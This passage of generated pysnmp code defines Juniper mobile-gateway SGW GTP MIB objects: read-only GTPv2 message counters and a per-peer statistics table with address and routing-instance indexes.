Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwSuspNotifTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwSuspNotifTx.setDescription('Number of GTPv2 Suspend Notification messages sent.') jnxMbgSgwSuspAckRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 214), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwSuspAckRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwSuspAckRx.setDescription('Number of GTPv2 Suspend Acknowledgement messages received.') jnxMbgSgwSuspAckTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 215), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwSuspAckTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwSuspAckTx.setDescription('Number of GTPv2 Suspend Acknowledgement messages sent.') jnxMbgSgwResumeNotifRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 216), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwResumeNotifRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwResumeNotifRx.setDescription('Number of GTPv2 Resume Notification messages received.') jnxMbgSgwResumeNotifTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 217), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwResumeNotifTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwResumeNotifTx.setDescription('Number of GTPv2 Resume Notification messages sent.') jnxMbgSgwResumeAckRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 218), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwResumeAckRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwResumeAckRx.setDescription('Number of GTPv2 Resume Acknowledgement messages received.') jnxMbgSgwResumeAckTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 219), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwResumeAckTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwResumeAckTx.setDescription('Number of GTPv2 Resume Acknowledgement messages sent.') jnxMbgSgwS11PiggybackMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 220), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwS11PiggybackMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwS11PiggybackMsgRx.setDescription('Number of GTPv2 S11 Piggyback messages received.') jnxMbgSgwS11PiggybackMsgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 221), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwS11PiggybackMsgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwS11PiggybackMsgTx.setDescription('Number of GTPv2 S11 Piggyback messages sent.') jnxMbgSgwS4PiggybackMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 222), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwS4PiggybackMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwS4PiggybackMsgRx.setDescription('Number of GTPv2 S4 Piggyback messages received.') jnxMbgSgwS4PiggybackMsgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 223), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwS4PiggybackMsgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwS4PiggybackMsgTx.setDescription('Number of GTPv2 S4 Piggyback messages sent.') jnxMbgSgwS5PiggybackMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 224), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwS5PiggybackMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwS5PiggybackMsgRx.setDescription('Number of GTPv2 S5 Piggyback messages received.') jnxMbgSgwS5PiggybackMsgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 2, 1, 225), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwS5PiggybackMsgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwS5PiggybackMsgTx.setDescription('Number of GTPv2 S5 Piggyback messages sent.') jnxMbgSgwGtpCPerPeerStatsTable = MibTable((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1), ) if mibBuilder.loadTexts: jnxMbgSgwGtpCPerPeerStatsTable.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpCPerPeerStatsTable.setDescription('Each entry corresponds to a GTP per peer level control statistic.') jnxMbgSgwGtpPerPeerStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1), ).setIndexNames((0, "JUNIPER-MOBILE-GATEWAYS", "jnxMbgGwIndex"), (0, "JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwPPGtpRmtAddr"), (0, "JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwPPGtpLclAddr"), (0, "JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", "jnxMbgSgwPPGtpRtgInst")) if mibBuilder.loadTexts: jnxMbgSgwGtpPerPeerStatsEntry.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwGtpPerPeerStatsEntry.setDescription('A specification of the GTPC peer level Statistics.') jnxMbgSgwPPGtpRmtAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 1), IpAddress()) if mibBuilder.loadTexts: jnxMbgSgwPPGtpRmtAddr.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpRmtAddr.setDescription('The Remote IP address of this GTP peer entry.') jnxMbgSgwPPGtpLclAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 2), IpAddress()) if mibBuilder.loadTexts: jnxMbgSgwPPGtpLclAddr.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpLclAddr.setDescription('The Local IP address of this GTP peer entry.') jnxMbgSgwPPGtpRtgInst = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 3), Unsigned32()) if mibBuilder.loadTexts: jnxMbgSgwPPGtpRtgInst.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpRtgInst.setDescription('The Routing Instance for this Peer.') jnxMbgSgwPPRxPacketsDropped = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 4), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPRxPacketsDropped.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPRxPacketsDropped.setDescription('Number of Received Packets Dropped.') jnxMbgSgwPPPacketAllocFail = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 5), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPPacketAllocFail.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPPacketAllocFail.setDescription('Number of Packet allocation failures.') jnxMbgSgwPPPacketSendFail = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 6), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPPacketSendFail.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPPacketSendFail.setDescription('Number of Packet Send failures.') jnxMbgSgwPPIPVerErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPIPVerErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPIPVerErrRx.setDescription('Number of IP Version Error Packets Received.') jnxMbgSgwPPIPProtoErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 8), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPIPProtoErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPIPProtoErrRx.setDescription('Number of IP Protocol Error packets Received.') jnxMbgSgwPPGTPPortErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 9), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGTPPortErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGTPPortErrRx.setDescription('Number of Port Error Packets Received.') jnxMbgSgwPPGTPUnknVerRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 10), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGTPUnknVerRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGTPUnknVerRx.setDescription('Number of Unknown Version Packets Received.') jnxMbgSgwPPPcktLenErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 11), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPPcktLenErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPPcktLenErrRx.setDescription('Number of Packet Length Error Packets Received.') jnxMbgSgwPPUnknMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 12), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPUnknMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPUnknMsgRx.setDescription('Number of Unknown Messages Received.') jnxMbgSgwPPProtocolErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 13), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPProtocolErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPProtocolErrRx.setDescription('Number of GTPv2 Protocol Errors Received.') jnxMbgSgwPPUnSupportedMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 14), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPUnSupportedMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPUnSupportedMsgRx.setDescription('Number of GTPv2 Unsupported Messages received.') jnxMbgSgwPPT3RespTmrExpRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 15), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPT3RespTmrExpRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPT3RespTmrExpRx.setDescription('Number of GTP V2 T3 timer expiries Received.') jnxMbgSgwPPV2NumMsgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 16), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPV2NumMsgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPV2NumMsgRx.setDescription('Number of GTPv2 messages received.') jnxMbgSgwPPV2NumMsgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 17), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPV2NumMsgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPV2NumMsgTx.setDescription('Number of GTPV2 messages sent.') jnxMbgSgwPPV2NumBytesRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 18), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPV2NumBytesRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPV2NumBytesRx.setDescription('Number of GTPv2 bytes received.') jnxMbgSgwPPV2NumBytesTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 19), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPV2NumBytesTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPV2NumBytesTx.setDescription('Number of GTPV2 bytes sent.') jnxMbgSgwPPV2EchoReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 20), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPV2EchoReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPV2EchoReqRx.setDescription('Number of GTP V2 Echo Request received.') jnxMbgSgwPPV2EchoReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 21), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPV2EchoReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPV2EchoReqTx.setDescription('Number of GTP V2 Echo Request Sent.') jnxMbgSgwPPV2EchoRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 22), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPV2EchoRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPV2EchoRespRx.setDescription('Number of GTP V2 Echo Response received.') jnxMbgSgwPPV2EchoRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 23), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPV2EchoRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPV2EchoRespTx.setDescription('Number of GTP V2 Echo Response Sent.') jnxMbgSgwPPV2VerNotSupRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 24), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPV2VerNotSupRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPV2VerNotSupRx.setDescription('Number of GTP V2 Version Not supported messages received') jnxMbgSgwPPV2VerNotSupTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 25), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPV2VerNotSupTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPV2VerNotSupTx.setDescription('Number of GTP V2 Number of version not supported messages sent.') jnxMbgSgwPPCreateSessReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 26), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCreateSessReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCreateSessReqRx.setDescription('Number of GTP V2 Create Session Requests received.') jnxMbgSgwPPCreateSessReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 27), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCreateSessReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCreateSessReqTx.setDescription('Number of GTP V2 Create Session Requests Sent.') jnxMbgSgwPPCreateSessRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 28), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCreateSessRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCreateSessRspRx.setDescription('Number of GTP V2 Create Session Responses received.') jnxMbgSgwPPCreateSessRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 29), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCreateSessRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCreateSessRspTx.setDescription('Number of GTP V2 Create Session Responses Sent.') jnxMbgSgwPPModBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 30), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPModBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPModBrReqRx.setDescription('Number of GTP V2 Modify Bearer Requests received.') jnxMbgSgwPPModBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 31), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPModBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPModBrReqTx.setDescription('Number of GTP V2 Modify Bearer Requests Sent.') jnxMbgSgwPPModBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 32), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPModBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPModBrRspRx.setDescription('Number of GTP V2 Modify Bearer Responses received.') jnxMbgSgwPPModBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 33), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPModBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPModBrRspTx.setDescription('Number of GTP V2 Modify Bearer Responses Sent.') jnxMbgSgwPPDelSessReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 34), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelSessReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelSessReqRx.setDescription('Number of GTP V2 Delete Session Requests received.') jnxMbgSgwPPDelSessReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 35), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelSessReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelSessReqTx.setDescription('Number of GTP V2 Delete Session Requests Sent.') jnxMbgSgwPPDelSessRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 36), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelSessRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelSessRspRx.setDescription('Number of GTP V2 Delete Session Responses received.') jnxMbgSgwPPDelSessRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 37), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelSessRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelSessRspTx.setDescription('Number of GTP V2 Delete Session Responses Sent.') jnxMbgSgwPPCrtBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 38), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCrtBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCrtBrReqRx.setDescription('Number of GTP V2 Create Bearer Requests received.') jnxMbgSgwPPCrtBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 39), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCrtBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCrtBrReqTx.setDescription('Number of GTP V2 Create Bearer Requests Sent.') jnxMbgSgwPPCrtBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 40), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCrtBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCrtBrRspRx.setDescription('Number of GTP V2 Create Bearer Response received.') jnxMbgSgwPPCrtBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 41), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCrtBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCrtBrRspTx.setDescription('Number of GTP V2 Create Bearer Response Sent.') jnxMbgSgwPPUpdBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 42), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPUpdBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPUpdBrReqRx.setDescription('Number of GTP V2 Update Bearer Request received.') jnxMbgSgwPPUpdBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 43), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPUpdBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPUpdBrReqTx.setDescription('Number of GTP V2 Update Bearer Request Sent.') jnxMbgSgwPPUpdBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 44), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPUpdBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPUpdBrRspRx.setDescription('Number of GTP V2 Update Bearer Response received.') jnxMbgSgwPPUpdBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 45), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPUpdBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPUpdBrRspTx.setDescription('Number of GTP V2 Update Bearer Response Sent.') jnxMbgSgwPPDelBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 46), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelBrReqRx.setDescription('Number of GTP V2 Delete Bearer Request received.') jnxMbgSgwPPDelBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 47), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelBrReqTx.setDescription('Number of GTP V2 Delete Bearer Request Sent.') jnxMbgSgwPPDelBrRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 48), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelBrRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelBrRspRx.setDescription('Number of GTP V2 Delete Bearer Response received.') jnxMbgSgwPPDelBrRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 49), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelBrRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelBrRspTx.setDescription('Number of GTP V2 Delete Bearer Response Sent.') jnxMbgSgwPPDelConnSetReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 50), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelConnSetReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelConnSetReqRx.setDescription('Number of GTP V2 Delete PDN connection set Request received.') jnxMbgSgwPPDelConnSetReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 51), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelConnSetReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelConnSetReqTx.setDescription('Number of GTP V2 Delete PDN connection set Request Sent.') jnxMbgSgwPPDelConnSetRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 52), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelConnSetRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelConnSetRspRx.setDescription('Number of GTP V2 Delete PDN connection set Response received.') jnxMbgSgwPPDelConnSetRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 53), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelConnSetRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelConnSetRspTx.setDescription('Number of GTP V2 Delete PDN connection set Response Sent.') jnxMbgSgwPPUpdConnSetReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 54), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPUpdConnSetReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPUpdConnSetReqRx.setDescription('Number of GTP V2 Update Connection set Request received.') jnxMbgSgwPPUpdConnSetReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 55), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPUpdConnSetReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPUpdConnSetReqTx.setDescription('Number of GTP V2 Update Connection set Request Sent.') jnxMbgSgwPPUpdConnSetRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 56), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPUpdConnSetRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPUpdConnSetRspRx.setDescription('Number of GTP V2 Update Connection set Response received.') jnxMbgSgwPPUpdConnSetRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 57), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPUpdConnSetRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPUpdConnSetRspTx.setDescription('Number of GTP V2 Update Connection set Response Sent.') jnxMbgSgwPPModBrCmdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 58), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPModBrCmdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPModBrCmdRx.setDescription('Number of GTP V2 Modify Bearer Command received.') jnxMbgSgwPPModBrCmdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 59), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPModBrCmdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPModBrCmdTx.setDescription('Number of GTP V2 Modify Bearer Command Sent.') jnxMbgSgwPPModBrFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 60), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPModBrFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPModBrFlrIndRx.setDescription('Number of GTP V2 Modify Bearer Failure received.') jnxMbgSgwPPModBrFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 61), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPModBrFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPModBrFlrIndTx.setDescription('Number of GTP V2 Modify Bearer Failure Sent.') jnxMbgSgwPPDelBrCmdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 62), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelBrCmdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelBrCmdRx.setDescription('Number of GTP V2 Delete Bearer Command received.') jnxMbgSgwPPDelBrCmdTx = 